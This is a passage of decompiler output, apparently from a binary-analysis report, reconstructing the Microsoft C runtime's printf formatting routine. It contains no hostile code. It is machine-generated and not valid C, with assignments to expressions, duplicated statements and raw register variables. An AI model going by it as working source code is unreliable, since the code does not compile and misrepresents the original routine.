C-Code - Quality: 70%

			E00435057(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428400(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428400(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428400(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E004357C0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00435800( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004357C0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00435800(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E004342D0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E00435800( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E004357C0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C5E0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407E18) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435610))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E004312C0( *(_t557 - 0x251) & 0x000000ff, E0041AEF0(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E00435720( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E00435720( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L0041E420();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L00422F10(_t541))) = 0x16;
																		E00422CA0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E0041AEC0(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0x435648; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435630))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0x435670; // 0x4e7e9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043565C))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0x4356dc; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M004356A0))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E00428400(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AEF0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0x440374; // 0xd5b65caa
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xd44284aa
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
